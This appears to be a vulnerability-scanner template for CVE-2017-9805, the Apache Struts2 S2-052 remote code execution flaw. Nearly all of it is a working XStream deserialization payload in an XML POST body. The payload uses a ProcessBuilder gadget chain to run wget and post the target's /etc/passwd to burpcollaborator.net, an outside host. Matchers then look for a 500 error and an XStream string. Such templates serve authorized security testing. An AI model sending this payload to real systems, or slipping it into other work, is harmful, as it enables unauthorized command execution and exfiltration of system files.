id: CVE-2017-9805

info:
  name: Apache Struts2 S2-052 RCE
  author: pikpikcu
  severity: critical
  reference: https://nvd.nist.gov/vuln/detail/CVE-2017-9805
  tags: cve,cve2017,apache,rce,struts

requests:
  - method: POST
    path:
      - "{{BaseURL}}/struts2-rest-showcase/orders/3"
      - "{{BaseURL}}/orders/3"
    headers:
      Content-Type: application/xml
    body: |
        <map>
          <entry>
            <jdk.nashorn.internal.objects.NativeString>
              <flags>0</flags>
              <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
                <dataHandler>
                  <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                    <is class="javax.crypto.CipherInputStream">
                      <cipher class="javax.crypto.NullCipher">
                        <initialized>false</initialized>
                        <opmode>0</opmode>
                        <serviceIterator class="javax.imageio.spi.FilterIterator">
                          <iter class="javax.imageio.spi.FilterIterator">
                            <iter class="java.util.Collections$EmptyIterator"/>
                            <next class="java.lang.ProcessBuilder">
                              <command>
                                <string>wget</string>
                                <string>--post-file</string>
                                <string>/etc/passwd</string>
                      <string>burpcollaborator.net</string>
                              </command>
                              <redirectErrorStream>false</redirectErrorStream>
                            </next>
                          </iter>
                          <filter class="javax.imageio.ImageIO$ContainsFilter">
                            <method>
                              <class>java.lang.ProcessBuilder</class>
                              <name>start</name>
                              <parameter-types/>
                            </method>
                            <name>asdasd</name>
                          </filter>
                          <next class="string">asdasd</next>
                        </serviceIterator>
                        <lock/>
                      </cipher>
                      <input class="java.lang.ProcessBuilder$NullInputStream"/>
                      <ibuffer></ibuffer>
                      <done>false</done>
                      <ostart>0</ostart>
                      <ofinish>0</ofinish>
                      <closed>false</closed>
                    </is>
                    <consumed>false</consumed>
                  </dataSource>
                  <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
              </value>
            </jdk.nashorn.internal.objects.NativeString>
            <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
          </entry>
          <entry>
            <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
            <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
          </entry>
        </map>

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "Debugging information"
          - "com.thoughtworks.xstream.converters.collections.MapConverter"
        condition: and

      - type: status
        status:
          - 500